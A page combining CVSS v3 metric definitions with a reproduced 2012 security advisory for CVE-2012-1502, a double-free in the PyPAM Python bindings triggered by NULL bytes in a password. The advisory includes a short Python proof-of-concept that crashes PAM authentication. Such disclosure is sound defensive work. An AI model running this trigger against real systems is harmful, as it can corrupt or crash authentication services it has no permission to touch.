The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
=== LSE Leading Security Experts - Security Advisory 2012-03-01 ===
PyPAM -- Python bindings for PAM - Double Free Corruption
- - ---------------------------------------------------------
Affected Versions
=================
PyPAM <= 0.4.2
Red Hat PyPAM <= 0.5.0-12
Debian python-pam <= 0.4.2-12.2
Ubuntu python-pam <= 0.4.2-12.2
SUSE python-pam <= 0.5.0-79.1.2
Gentoo pypam <= 0.5.0
Problem Overview
================
Technical Risk: high
Likelihood of Exploit: low to medium
Vendor: Rob Riggs, Various
Discovery: Markus Vervier
Advisory URL: http://www.lsexperts.de/advisories/lse-2012-03-01.txt
Advisory Status: Public
CVE-Number: CVE-2012-1502
Problem Description
===================
While conducting an internal test LSE discovered that by supplying
a password containing a NULL-byte to the PyPAM module, a double-free [1]
condition is triggered. This leads to undefined behaviour and may allow
remote code execution.
Temporary Workaround and Fix
============================
Filtering NULL-bytes in strings before passing them to the PyPAM module
will mitigate the exploit. Also current GLIBC protections may prevent
the double-free condition from being exploitable. It is advised to update
to a fixed version of PyPAM.
Detailed Description
====================
When PyArg_ParseTuple() in line 81 of PAMmodule.c is given a string with
Null-Bytes, a TypeError exception is raised [2]. The security problem
is in
line 82 of PAMmodule.c where free() is called on *resp, but *resp is not
set to NULL. On line 95 in libpam's v_prompt.c the _pam_drop macro calls
free on the response again unless (*resp == NULL), which leads to
undefined behaviour.
The following PoC script triggers the problem:
<--snip-->
#!/usr/bin/env python
##
## python-pam 0.4.2 double free PoC
##
## 2012 Leading Security Experts GmbH
## Markus Vervier
##
# -*- coding: utf-8 -*-
def verify_password(user, password):
import PAM
def pam_conv(auth, query_list, userData):
resp = []
resp.append( (password, 0))
return resp
res = -3
service = 'passwd'
auth = PAM.pam()
auth.start(service)
auth.set_item(PAM.PAM_USER, user)
auth.set_item(PAM.PAM_CONV, pam_conv)
try:
auth.authenticate()
auth.acct_mgmt()
except PAM.error, resp:
print 'Go away! (%s)' % resp
res = -1
except:
print 'Internal error'
res = -2
else:
print 'Good to go!'
res = 0
return res
print verify_password("root", "a\x00secret")
<--snip-->
History
=======
2012-03-02 Problem discovery during internal QA
2012-03-05 Original vendor and Debian maintainer contacted
2012-03-06 Public Patch released
2012-03-07 Various maintainers contacted
2012-03-07 CVE-2012-1502 assigned
2012-03-08 LSE learned in that this bug was previously discovered and
fixed in rPath Linux [3]
2012-03-08 Coordinated Advisory Release
References
==========
[1] http://cwe.mitre.org/data/definitions/415.html
[2] http://docs.python.org/release/1.5.2p2/ext/parseTuple.html
[3] https://issues.rpath.com/browse/RPL-2773